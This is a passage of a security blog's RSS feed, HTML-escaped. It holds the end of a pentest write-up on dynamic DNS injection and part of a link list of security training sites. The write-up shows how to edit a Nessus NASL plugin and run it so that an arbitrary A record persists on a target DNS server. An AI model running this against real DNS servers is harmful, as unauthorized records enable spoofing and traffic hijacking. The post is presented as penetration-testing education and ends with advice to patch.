&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt; /opt/nessus/lib/nessus/plugins | &lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-iR&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;script_id(35372)&quot;&lt;/span&gt;

dns_dyn_update.nasl: script_id&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;35372&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Here you’ll see one result - “&lt;em&gt;dns_dyn_update.nasl&lt;/em&gt;”. The &lt;a href=&quot;https://en.wikipedia.org/wiki/Nessus_Attack_Scripting_Language&quot;&gt;Nessus Attack Scripting Language&lt;/a&gt; or &lt;em&gt;NASL&lt;/em&gt; files are Nessus’ way of running its respective plugins. Taking a closer look at this file, I identified just a few code modifications needed to allow me to add a DNS record of my choosing without it being deleted afterwards. These code modifications are shown below…&lt;/p&gt;

&lt;p&gt;To add a hostname record, modify the following portions of code. (I recommend making a copy of the NASL file before modifying.)&lt;/p&gt;
&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;bp&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;pkt&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;raw_string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
  &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;# Data length
&lt;/span&gt;  &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ip&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;separated&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;by&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;commas&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;127&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;#Square brackets are not part of the code
&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pkt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;bp&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;dynname&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;[hostname]&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;bp&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;#pkt = dns_update_A(zone: zone, dynname, delete: 1);  #COMMENT THIS LINE OUT
#send(socket:soc, data: pkt);                         #COMMENT THIS LINE OUT
&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Once the code has been modified, the script can be run directly using the &lt;em&gt;nasl&lt;/em&gt; &lt;a href=&quot;https://www.tenable.com/blog/using-the-nasl-nessus-command-line-tool&quot;&gt;utility&lt;/a&gt; included with the Nessus install.&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/opt/nessus/bin/nasl &lt;span class=&quot;nt&quot;&gt;-t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;target DNS server] /opt/nessus/lib/nessus/plugins/dns_dyn_update.nasl &lt;span class=&quot;nt&quot;&gt;-M&lt;/span&gt;

&lt;span class=&quot;o&quot;&gt;==========[&lt;/span&gt; Executing dns_server.nasl &lt;span class=&quot;o&quot;&gt;]======&lt;/span&gt;
dns_server.nasl: Success
dns_server.nasl: Success
&lt;span class=&quot;nt&quot;&gt;----------&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; Finished dns_server.nasl 16msec &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;------&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;==========[&lt;/span&gt;Executing bind_hostname.nasl &lt;span class=&quot;o&quot;&gt;]======&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;----------&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; Finished bind_hostname.nasl 13msec &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;------&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;==========[&lt;/span&gt;Executing /opt/nessus/lib/nessus/plugins/dns_dyn_update.nasl]&lt;span class=&quot;o&quot;&gt;======&lt;/span&gt;

Nessus was able to register a new A record into the following zone :

&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;hostname.zone]

&lt;span class=&quot;nt&quot;&gt;----------&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; Finished /opt/nessus/lib/nessus/plugins/dns_dyn_update.nasl 17msec &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;------&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To then delete a hostname record simply uncomment the previously commented lines and re-run the NASL script…&lt;/p&gt;
&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;#pkt = dns_update_A(zone: zone, dynname, delete: 1);
#send(socket:soc, data: pkt);
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;closing-thoughts&quot;&gt;Closing Thoughts&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;As you can see, Nmap and Nessus definitely have some offensive capability which extends past your typical recon/enumeration/vulnerability scanning typically thought of when considering these two tools. With over 100k plugins/NASL files provided in Nessus (of course not all of which are “exploitable”) and another 590 NSE scripts which come with Nmap, there is a lot of potential for leveraging pre-built exploits for your own work.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Despite Tenable claiming (via it’s &lt;em&gt;Security Center&lt;/em&gt; product) that there is no exploit available for this vulnerability, you now know that there &lt;em&gt;definitely&lt;/em&gt; is. What’s funny here is Nessus states that it was able to exploit the vulnerability and then proceeds to claim that there is no exploit.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Update your DNS servers if you find this vulnerability! Tenable classifies this as a &lt;strong&gt;Medium&lt;/strong&gt; risk issue though I personally think this is &lt;strong&gt;High&lt;/strong&gt; risk.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Thanks for reading!&lt;/p&gt;
</description>
        <pubDate>Mon, 16 Dec 2019 09:50:00 -0500</pubDate>
        <link>https://shellsharks.com/dynamic-dns-injection</link>
        <guid isPermaLink="true">https://shellsharks.com/dynamic-dns-injection</guid>
        
        <category>network</category>
        
        <category>pentesting</category>
        
        <category>dns</category>
        
        <category>nmap</category>
        
        <category>nessus</category>
        
        <category>infosec</category>
        
        <category>tenable</category>
        
        <category>red</category>
        
        <category>python</category>
        
        <category>technical</category>
        
        
        <category>infosec</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Online IT/Security Training</title>
        <shark:summary><p><a href="https://shellsharks.com/getting-into-information-security#title">Getting into information security</a> as a newcomer or keeping your skills up-to-date as an existing security practitioner can be difficult. Fear not! There is a <strong>TON</strong> of practical, online training and learning resources available. See for yourself below…</p>
</shark:summary>
        <description>&lt;p&gt;&lt;a href=&quot;https://shellsharks.com/getting-into-information-security#title&quot;&gt;Getting into information security&lt;/a&gt; as a newcomer or keeping your skills up-to-date as an existing security practitioner can be difficult. Fear not! There is a &lt;strong&gt;TON&lt;/strong&gt; of practical, online training and learning resources available. See for yourself below…&lt;/p&gt;

&lt;p&gt;For more training resources check out this &lt;a href=&quot;https://github.com/gerryguy311/Free_CyberSecurity_Professional_Development_Resources/blob/master/README.md#Training&quot;&gt;awesome list of free training&lt;/a&gt; or &lt;strong&gt;&lt;a href=&quot;https://dfirdiva.com/free-and-affordable-training&quot;&gt;DFIR DIVA’s Free &amp;amp; Affordable Training&lt;/a&gt;&lt;/strong&gt; list.&lt;/p&gt;

&lt;h2 id=&quot;jump-to-section&quot;&gt;Jump to Section&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#large-training-platforms&quot;&gt;Large Training Platforms&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#intro-to-security&quot;&gt;Intro to Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#web-application--bug-bounty&quot;&gt;Web Application &amp;amp; Bug Bounty&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#penetration-testing--red-teaming&quot;&gt;Penetration Testing &amp;amp; Red Teaming&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#OSINT&quot;&gt;OSINT&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#blue-team-forensics-threat-hunting-soc-etc&quot;&gt;Blue Team&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#cloud&quot;&gt;Cloud&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#mobile&quot;&gt;Mobile&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#container&quot;&gt;Container&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#exploit-development--reverse-engineering--malware-analysis&quot;&gt;Exploit Dev / RE&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#ai&quot;&gt;AI&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#web3&quot;&gt;Web3&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#vulnerability-management&quot;&gt;Vulnerability Management&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#programming&quot;&gt;Programming&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#general--other&quot;&gt;Other&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr width=&quot;50%&quot; /&gt;

&lt;h1 id=&quot;large-training-platforms&quot;&gt;Large Training Platforms&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.coursera.org&quot;&gt;Coursera&lt;/a&gt; [FREE/PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cybrary.it&quot;&gt;Cybrary&lt;/a&gt; [PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.edx.org/course?search_query=cybersecurity&quot;&gt;edX&lt;/a&gt; [FREE/PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dca.immersivelabs.online/register&quot;&gt;Immersive Labs - Students’ Digital Cyber Academy&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.linkedin.com/learning/paths/become-a-cybersecurity-professional&quot;&gt;Linkedin Learning&lt;/a&gt; [PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://training.linuxfoundation.org&quot;&gt;The Linux Foundation&lt;/a&gt; [PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://opensecuritytraining.info/Training.html&quot;&gt;Open Security Training&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ost2.fyi&quot;&gt;Open Security Training 2&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.pluralsight.com&quot;&gt;Pluralsight&lt;/a&gt; [PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.udemy.com&quot;&gt;Udemy&lt;/a&gt; [PAID]&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;intro-to-security&quot;&gt;Intro to Security&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://learn.first.org&quot;&gt;FIRST Learning Platform&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.futurelearn.com/courses/introduction-to-cyber-security&quot;&gt;Future Learn - Introduction to Cyber Security&lt;/a&gt; [PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://picoctf.com&quot;&gt;picoCTF&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pwn.college&quot;&gt;pwn.college&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cyberaces.org/courses.html&quot;&gt;SANS Cyber Aces&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.springboard.com/resources/learning-paths/cybersecurity-foundations/&quot;&gt;Springboard&lt;/a&gt; [FREE]&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;web-application--bug-bounty&quot;&gt;Web Application &amp;amp; Bug Bounty&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://alf.nu/alert1?world=alert&amp;amp;level=alert0&quot;&gt;Alert to Win&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.apisecuniversity.com&quot;&gt;APIsec University&lt;/a&gt; [FREE/PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://appsec.guide&quot;&gt;Automated Testing Handbook&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.bugbountyhunter.com/zseano&quot;&gt;BugBountyHunter | zseano&lt;/a&gt; [PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/bugcrowd/bugcrowd_university&quot;&gt;Bugcrowd University&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bughuntr.io/&quot;&gt;BugHuntr.io&lt;/a&gt; [FREE/PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://capturetheflag.withgoogle.com&quot;&gt;Capture The Flag | Google&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/cider-security-research/cicd-goat&quot;&gt;CI/CD Goat&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ctfchallenge.com/&quot;&gt;CTF Challenge&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ctftime.org&quot;&gt;CTF Time&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ctflearn.com&quot;&gt;CTFlearn&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://defendtheweb.net/?hackthis&quot;&gt;Defend the Web&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://google-gruyere.appspot.com&quot;&gt;Google Gruyere&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.hackthissite.org&quot;&gt;Hack This Site&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.hacker101.com/&quot;&gt;hacker101&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.hacksplaining.com/lessons&quot;&gt;Hacksplaining&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.intigriti.com/hackademy/&quot;&gt;Intigrity Hackademy&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ctf.komodosec.com&quot;&gt;Komodo Application Security Challenge&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.owasp.org/index.php/Education/Free_Training&quot;&gt;OWASP Education/Free Training&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://owasp.org/www-project-juice-shop/&quot;&gt;OWASP Juice Shop&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pentesterlab.com/exercises?dir=desc&amp;amp;only=free&amp;amp;sort=published_at&quot;&gt;PentesterLab&lt;/a&gt; [FREE/PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rootinjail.com&quot;&gt;Root in Jail&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://learn.snyk.io&quot;&gt;snyk Learn&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://portswigger.net/web-security&quot;&gt;Web Security Academy&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.wrongsecrets.com/&quot;&gt;WrongSecrets&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://xss-game.appspot.com&quot;&gt;XSS game&lt;/a&gt; [FREE]&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;penetration-testing--red-teaming&quot;&gt;Penetration Testing &amp;amp; Red Teaming&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://archive.ooo&quot;&gt;archive.ooo&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://attackdefense.com&quot;&gt;AttackDefense&lt;/a&gt; [PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://academy.attackiq.com&quot;&gt;AttackIQ&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cobaltstrike.com/training&quot;&gt;Cobalt Strike Training&lt;/a&gt; [PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://opsdisk.gumroad.com/l/cphlab&quot;&gt;Cyber Plumber Lab&lt;/a&gt; [PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://oooverflow.io&quot;&gt;DEF CON CTFs&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://evilzone.org&quot;&gt;Evilzone&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.greycampus.com/opencampus/ethical-hacking/what-is-hacking&quot;&gt;GreyCampus Ethical Hacking&lt;/a&gt; [FREE/PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.hackthebox.eu&quot;&gt;Hack The Box&lt;/a&gt; [FREE/PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://academy.hackthebox.eu&quot;&gt;Hack The Box Academy&lt;/a&gt; [FREE/PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://thehackinggames.com&quot;&gt;The Hacking Games&lt;/a&gt; [PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.hacking-lab.com/index.html&quot;&gt;Hacking-Lab&lt;/a&gt; [FREE/PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.hacktivate.io&quot;&gt;Hacktivate&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://holidayhackchallenge.com/&quot;&gt;Holiday Hack Challenge&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.youtube.com/results?search_query=ippsec&quot;&gt;IppSec - YouTube&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kali.training/lessons/introduction/&quot;&gt;Kali Linux Revealed&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.offensive-security.com/metasploit-unleashed/&quot;&gt;Metasploit Unleashed&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://recruit.osiris.cyber.nyu.edu&quot;&gt;NYU OSIRIS Lab Recruit Challenges&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.offensive-security.com/labs/individual/&quot;&gt;OffSec Proving Grounds&lt;/a&gt; [FREE/PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://overthewire.org/wargames/&quot;&gt;OverTheWire&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://parrot-ctfs.com&quot;&gt;Parrot CTFs&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.amanhardikar.com/mindmaps/Practice.html&quot;&gt;Penetration Testing Practice Lab - Vulnerable Apps / Systems&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.pentesteracademy.com/topics&quot;&gt;Pentester Academy&lt;/a&gt; [PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pentest-ground.com&quot;&gt;PentestGround&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pwn.tn&quot;&gt;PWN.TN&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://redteamsorcery.teachable.com&quot;&gt;Red Team Sorcery&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.root-me.org/?lang=en&quot;&gt;Root Me&lt;/a&gt; [FREE/PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://slayerlabs.com&quot;&gt;SlayerLabs&lt;/a&gt; [PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://academy.tcm-sec.com/&quot;&gt;TCM Security Academy&lt;/a&gt; [PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://tryhackme.com/&quot;&gt;Try Hack Me&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.vulnhub.com&quot;&gt;VulnHub&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.vulnlab.com&quot;&gt;VulnLab&lt;/a&gt; [PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://vulnmachines.com&quot;&gt;VulnMachines&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://w3challs.com&quot;&gt;W3Challs&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.wechall.net&quot;&gt;We Chall&lt;/a&gt; [FREE]&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;osint&quot;&gt;OSINT&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://investigator.cybersoc.wales&quot;&gt;CyberSoc | Cyber Investigator CTF&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://olympics.maveris.com&quot;&gt;Maveris Digital Marathon OSINT CTF&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://milosintctf.com&quot;&gt;MilOsintCTF&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.myosint.training/courses/using-commandline-osint-tools-introduction&quot;&gt;MyOsint - Using Commandline OSINT Tools Introduction&lt;/a&gt; [PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.osintdojo.com&quot;&gt;OSINT Dojo&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.osint.games&quot;&gt;OSINT Games&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.osintme.com/index.php/2021/10/17/cloud-osint-free-cloud-training-courses-certifications/?utm_source=pocket_mylist&quot;&gt;OSINT ME&lt;/a&gt; - various things&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://samplectf.com&quot;&gt;SampleCTF&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.tracelabs.org/initiatives/search-party&quot;&gt;Search Party | TraceLabs&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sourcing.games&quot;&gt;Sourcing.Games&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.bushidotoken.net/p/ctf.html&quot;&gt;The Insider Threat CTF&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://tiberianorder.com/hacktoria/&quot;&gt;Tiberian Order&lt;/a&gt; [FREE]&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;blue-team-forensics-threat-hunting-soc-etc&quot;&gt;Blue Team (Forensics, Threat Hunting, SOC, etc…)&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.networkdefense.io/p/course-list/&quot;&gt;Applied Network Defense&lt;/a&gt; [PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blueteamlabs.online&quot;&gt;Blue Team Labs&lt;/a&gt; [FREE/PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cyberdefenders.org/blueteam-ctf-challenges/&quot;&gt;Cyber Defenders&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dfir-training.basistech.com/collections&quot;&gt;Cyber Triage | DFIR Training&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.dfir.training/&quot;&gt;DFIR Training&lt;/a&gt; [FREE/PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.honeynet.org/challenges/&quot;&gt;The Honeynet Project&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://letsdefend.io&quot;&gt;LetsDefend&lt;/a&gt; [PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.linuxleo.com/&quot;&gt;Linux Leo&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/stuxnet999/MemLabs&quot;&gt;MEMLABS&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mitre-engenuity.org/mad/&quot;&gt;MITRE ATT&amp;amp;CK Defender (MAD)&lt;/a&gt; [PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.netresec.com/?page=pcapfiles&quot;&gt;NETRESEC&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://academy.picussecurity.com/home&quot;&gt;PICUS Purple Academy&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.rangeforce.com&quot;&gt;RangeForce&lt;/a&gt; [PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.splunk.com/en_us/blog/security/introducing-splunk-attack-range-v2-0.html&quot;&gt;Splunk Attack Range v2.0&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.splunk.com/en_us/training/free-courses/splunk-fundamentals-1.html&quot;&gt;Splunk Training&lt;/a&gt; [FREE/PAID]&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;cloud&quot;&gt;Cloud&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/ine-labs/AWSGoat&quot;&gt;AWSGoat&lt;/a&gt; [FREE]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.aws.training&quot;&gt;AWS Training&lt;/a&gt; [FREE/PAID]&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/ine-labs/AzureGoat&quot;&gt;AzureGoat&lt;/a&gt; [FREE]&lt;/li&gt;
